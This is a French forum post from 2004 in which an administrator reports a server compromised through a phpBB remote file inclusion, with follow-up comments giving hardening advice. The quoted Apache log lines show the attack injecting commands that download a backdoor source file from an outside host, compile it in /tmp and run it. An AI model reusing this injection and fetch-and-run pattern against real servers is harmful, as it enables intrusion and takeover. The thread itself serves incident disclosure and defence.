Journal Server Hacked

Posté par  (site web personnel) .
Étiquettes : aucune
0
20
avr.
2004
Un serveur que j'héberge a ete hacké (rootkit) vendredi dernier.
Pour ceux que ca interesse, voila la technique que le gars a utilisé :

66.6.80.X - - [18/Apr/2004:01:05:29 +0200] "GET /forums/includes/db.php?phpbb_root_path=http://sperwill-usa.com/(...)
&dbms=mysql&phpEx=txt&cmd=wget%20sperwill-usa.com/acatalog/bacdoor.c%20-P%20/tmp HTTP/1.0" 200 145 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
66.6.80.X - - [18/Apr/2004:01:05:54 +0200] "GET /forums/includes/db.php?phpbb_root_path=http://sperwill-usa.com/(...)
&dbms=mysql&phpEx=txt&cmd=gcc%20/tmp/bacdoor.c%20-o%20/tmp/abc HTTP/1.0" 200 145 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
66.6.80.X - - [18/Apr/2004:01:06:01 +0200] "GET /forums/includes/db.php?phpbb_root_path=http://sperwill-usa.com/(...)
&dbms=mysql&phpEx=txt&cmd=/tmp/abc HTTP/1.0" 200 182 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"

Bien evident, le serveur en question n'avait pas les options safe_mode à off ni d'open_basedir de specifié...

Le rootkit qui a été installé ensuite est t0rn's v8 sans doute via la faille ptrace ou mremap (ben oui, kernel foireu : 2.4.18)

Ceci est juste a titre informatif ...

PS : ca fait quand meme mal de voir que ca a été hacké par un mec sous Windows :D (sauf si il force son User Agent)
PS 2 : j'ai enleve le h de http pour eviter que templeet l'interprete :)
  • # hmmm....

    Posté par  (site web personnel, Mastodon) . Évalué à 2.

    http://www.securityfocus.com/bid/4380(...)

    vulnerable:
    * phpBB Group phpBB 2.0 RC3
    * phpBB Group phpBB 2.0 RC2
    * phpBB Group phpBB 2.0 RC1
    * phpBB Group phpBB 2.0 Beta 1

    Ca date de mars 2002.

    Tu vas facturer tes heures aux gestionnaires du forum j'espère ? (sachant que la dernière version de phpBB est la 2.0.8a)
  • # Re: Server Hacked

    Posté par  (site web personnel) . Évalué à 0.

    Bon, ce n etait pas une faille intrinseque a PHP, qui est a jour sur ton serveur, j en suis certain :)

    Ce genre d attaque est de plus en plus repandue malheureusement... Pour limiter les degats : openbasedir, /tmp en noexec, patch openwall ou autre sur un noyau a jour...

    Bon courage pour tout remettre d applomb en tout cas.
    • [^] # Re: Server Hacked

      Posté par  (site web personnel) . Évalué à 2.

      sur un hébergeur dont je sui l'un des admin on a trouvé un truc un peu simple et très fort contre ce genre de truc :

      chmod 0 /usr/bin/gcc

      avant de pouvoir compiler qqchose, il faut DEJA etre root ;)

      sinon, un php sans safe_mode par défaut (mode dans lequel phpbb fonctionne trrrès bien) c'est un peu dangereux non ? ;)

      sur ce bon courage, un rootkit c'est parfois plus difficile de s'en débarasser s'il n'est pas venu tout seul ...
      • [^] # Re: Server Hacked

        Posté par  (site web personnel) . Évalué à 2.

        Le safe_mode, a off, ce n est pas forcement une vulnerabilite. Oui, ca facilite le boulot de l'attaquant, mais bon, quelques directives de conf bien placées permettent de s'en sortir.

        Ensuite, laisser des compilos sur une bécane ou il n'y en a besoin que rarement, il faut absolument éviter. Perso, je les installe et désinstalle selon les besoins, mais je ne les laisse pas trainer.

        PS : J oubliais : pas de support des modules dans le noyau, tout en dur, ca evite le chargement de modules malicieux. Sur ces bons conseils, messieurs, bonne journee
      • [^] # Re: Server Hacked

        Posté par  . Évalué à 1.

        Encore plus fort, tu désinstalles gcc qui n'a rien à foutre sur un serveur de prod :)
    • [^] # Re: Server Hacked

      Posté par  (site web personnel) . Évalué à 1.

      t'as pas lu mon message toi :)

      1) c'est pas mon serveur
      2) j'ai exposé certaines methodes de protection dans mon message :)
  • # Re: Server Hacked

    Posté par  . Évalué à 1.

    http://sperwill-usa.com/acatalog/bacdoor.c(...)

    bindtty - like bindshell, but with tty

    Features:
    - it can handle any number of clients
    - allocates tty for each session
    - no using termios.h/tty.h: compiles on most of gccs
    - linux specific ;(

    Personnellement j'appelle pas ça un super rootkit ... Il aurait pu frapper bien plus fort (et au moins effacer tes logs).

    Ensuite écoute ce qu'on dit plus haut : gcc n'as rien à faire sur un serveur de prod, les failles sont connues depuis 2 ans, met ta machine à jour !!!

    J'imagine que tu as qd même tout corrigé.
    • [^] # Re: Server Hacked

      Posté par  (site web personnel) . Évalué à 1.

      Hé, faut lire les messages les gars :)

      Deja, le rookit est t0rn's v8.
      Le bindtty, c'est le script qu'il a utiliser pour ouvrir un shell.

      Ensuite, C'EST PAS MA MACHINE !!!
      Mes machines sont a jour, avec un apache/php configuré de maniere correct avec des sites mis a jour. merci pour elles
      • [^] # Re: Server Hacked

        Posté par  . Évalué à 2.

        OK, mea culpa, ça m'apprendra à lire...Désolé.
    • [^] # Re: Server Hacked

      Posté par  . Évalué à 1.

      je vais peut être poser une question bête, mais qu'est ce que fait ce fichier sur un serveur comme sperwill-usa ? apparemment, je viens de regarder, ce site propose des accessoires pour le parapente, c'est pas trop un site sur lequel je m'aends à trouver bacdoor.c ...

      Alors ils se sont faits hacker eux aussi?
  • # Re: Server Hacked

    Posté par  (site web personnel) . Évalué à 6.

    vu que ces mechants pirates pratiquent le scan à leur temps perdu, il y a un truc simple et sympa à rajouter dans sa conf d'apache.(testé sur apache 1.3.x)

    ServerSignature Off
    ServerTokens Prod

    comme ca, le mechant ne voit que "apache" au lieu de
    "apache ma vie, mon oeuvre, ma femme etc... ma distrib...blah blah blah..."

    comme ca, on peut avoir un systeme pas forcement à jour(ce qui n'est pas bien), mais on passe les mailles du filet de ceux qui cherchent par defaut un type de trou de secu...

    le cloaking device d'apache en quelque sorte...

    bon, c'etait mes deux centimes...

    bonne journee tout le monde.

    ps : pour ceux qui utilisent mozilla, je conseillerai l'utilisation de livehttpdheader... c'est super pratique...

Suivre le flux des commentaires

Note : les commentaires appartiennent à celles et ceux qui les ont postés. Nous n’en sommes pas responsables.